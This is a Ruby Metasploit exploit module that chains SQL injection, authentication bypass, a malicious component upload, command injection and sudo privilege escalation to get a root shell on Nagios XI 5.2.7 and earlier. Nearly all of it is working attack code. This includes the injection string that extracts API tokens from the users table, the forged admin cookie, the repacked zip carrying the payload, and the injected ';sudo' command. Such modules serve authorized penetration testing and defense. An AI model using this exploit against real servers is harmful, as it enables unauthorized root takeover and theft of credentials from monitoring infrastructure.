##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nagios XI Chained Remote Code Execution',
      'Description'    => %q{
        This module exploits an SQL injection, auth bypass, file upload,
        command injection, and privilege escalation in Nagios XI <= 5.2.7
        to pop a root shell.
      },
      'Author'         => [
        'Francesco Oddo', # Vulnerability discovery
        'wvu'             # Metasploit module
      ],
      'References'     => [
        ['EDB', '39899']
      ],
      'DisclosureDate' => '2016-03-06',
      'License'        => MSF_LICENSE,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'Targets'        => [
        ['Nagios XI <= 5.2.7', version: Rex::Version.new('5.2.7')]
      ],
      'DefaultTarget'  => 0
    ))

    register_options([
      OptInt.new('USER_ID',      [true, 'User ID in the database to target', 1]),
      OptString.new('API_TOKEN', [false, 'If an API token was already stolen, skip the SQLi'])
    ])

    self.needs_cleanup = true
  end

  def check
    res = send_request_cgi!(
      'method' => 'GET',
      'uri'    => '/nagiosxi/'
    )

    return unless res && (html = res.get_html_document)

    if (version = html.at('//input[@name = "version"]/@value'))
      vprint_status("Nagios XI version: #{version}")
      if Rex::Version.new(version) <= target[:version]
        return CheckCode::Appears
      end
    end

    CheckCode::Safe
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
    end

    if datastore['API_TOKEN']
      @api_token = datastore['API_TOKEN']
    else
      print_status('Getting API token')
      get_api_token
    end
    print_status('Getting admin cookie')
    get_admin_cookie
    print_status('Getting monitored host')
    get_monitored_host

    print_status('Downloading component')
    download_profile_component
    print_status('Uploading root shell')
    upload_root_shell
    print_status('Popping shell!')
    pop_dat_shell
  end

  #
  # Cleanup methods
  #

  def on_new_session(session)
    super

    print_status('Cleaning up...')

    commands = [
      'rm -rf ../profile',
      'unzip -qd .. ../../../../tmp/component-profile.zip',
      'chown -R nagios:nagios ../profile',
      "rm -f ../../../../tmp/component-#{zip_filename}"
    ]

    commands.each do |command|
      vprint_status(command)
      session.shell_command_token(command)
    end
  end

  #
  # Exploit methods
  #

  def get_api_token
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => '/nagiosxi/includes/components/nagiosim/nagiosim.php',
      'vars_get' => {
        'mode'   => 'resolve',
        'host'   => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
                    "SELECT backend_ticket FROM xi_users WHERE user_id=#{datastore['USER_ID']}" \
                    '),FLOOR(RAND(0)*2))x ' \
                    'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
      }
    )

    # default admin token is shorter, ie 27o3b7mu1 shortened to 27o3b7mu
    # any other user has a longer token, but we cant strip the last char off.
    # example: 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
    if res && res.body =~ /Duplicate entry '(.*?).'/
      if $1.length > 8
        res.body =~ /Duplicate entry '(.*?)'/
      end
      @api_token = $1
      vprint_good("API token: #{@api_token}")
    else
      fail_with(Failure::UnexpectedReply, 'API token not found! punt!')
    end
  end

  def get_admin_cookie
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => '/nagiosxi/rr.php',
      'vars_get' => {
        'uid'    => "#{datastore['USER_ID']}-#{Rex::Text.rand_text_alpha(8)}-" +
                    Digest::MD5.hexdigest(@api_token)
      }
    )

    if res && (@admin_cookie = res.get_cookies.split('; ').last)
      vprint_good("Admin cookie: #{@admin_cookie}")
      get_csrf_token(res.body)
    else
      fail_with(Failure::NoAccess, 'Admin cookie not found! punt!')
    end
  end

  def get_csrf_token(body)
    if body =~ /nsp_str = "(.*?)"/
      @csrf_token = $1
      vprint_good("CSRF token: #{@csrf_token}")
    else
      fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!')
    end
  end

  def get_monitored_host
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => '/nagiosxi/ajaxhelper.php',
      'cookie'   => @admin_cookie,
      'vars_get' => {
        'cmd'    => 'getxicoreajax',
        'opts'   => '{"func":"get_hoststatus_table"}',
        'nsp'    => @csrf_token
      }
    )

    return unless res && (html = res.get_html_document)

    if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()'))
      vprint_good("Monitored host: #{@monitored_host}")
    else
      fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!')
    end
  end

  def download_profile_component
    res = send_request_cgi(
      'method'     => 'GET',
      'uri'        => '/nagiosxi/admin/components.php',
      'cookie'     => @admin_cookie,
      'vars_get'   => {
        'download' => 'profile'
      }
    )

    if res && res.body =~ /^PK\x03\x04/
      @profile_component = res.body
    else
      fail_with(Failure::UnexpectedReply, 'Failed to download component! punt!')
    end
  end

  def upload_root_shell
    vars_form_data = [
      { 'name' => 'nsp', 'data' => @csrf_token },
      { 'name' => 'upload', 'data' => 1 },
      { 'name' => 'MAX_FILE_SIZE', 'data' => 1000000 },
      { 'name' => 'uploadedfile', 'data' => payload_zip, 'content_type' => 'application/zip', 'encoding' => 'binary', 'filename' => zip_filename }
    ]

    res = send_request_cgi!(
      'method' => 'POST',
      'uri'    => '/nagiosxi/admin/components.php',
      'cookie' => @admin_cookie,
      'vars_form_data'  => vars_form_data
    )

    if res && res.code != 200
      if res.redirect? && res.redirection.path == '/nagiosxi/install.php'
        vprint_warning('Nagios XI not configured')
      else
        fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!')
      end
    end
  end

  def pop_dat_shell
    send_request_cgi(
      'method'   => 'GET',
      'uri'      => '/nagiosxi/includes/components/perfdata/graphApi.php',
      'cookie'   => @admin_cookie,
      'vars_get' => {
        'host'   => @monitored_host,
        'end'    => ';sudo ../profile/getprofile.sh #'
      }
    )
  end

  #
  # Support methods
  #

  def payload_zip
    zip = Rex::Zip::Archive.new

    Zip::File.open_buffer(@profile_component) do |z|
      z.each do |f|
        zip.entries << Rex::Zip::Entry.new(
          f.name,
          (if f.ftype == :file
            if f.name == 'profile/getprofile.sh'
              payload.encoded
            else
              z.read(f)
            end
          else
            ''
          end),
          Rex::Zip::CM_DEFLATE,
          nil,
          (Rex::Zip::EFA_ISDIR if f.ftype == :directory)
        )
      end
    end

    zip.pack
  end

  #
  # Utility methods
  #

  def zip_filename
    @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
  end
end
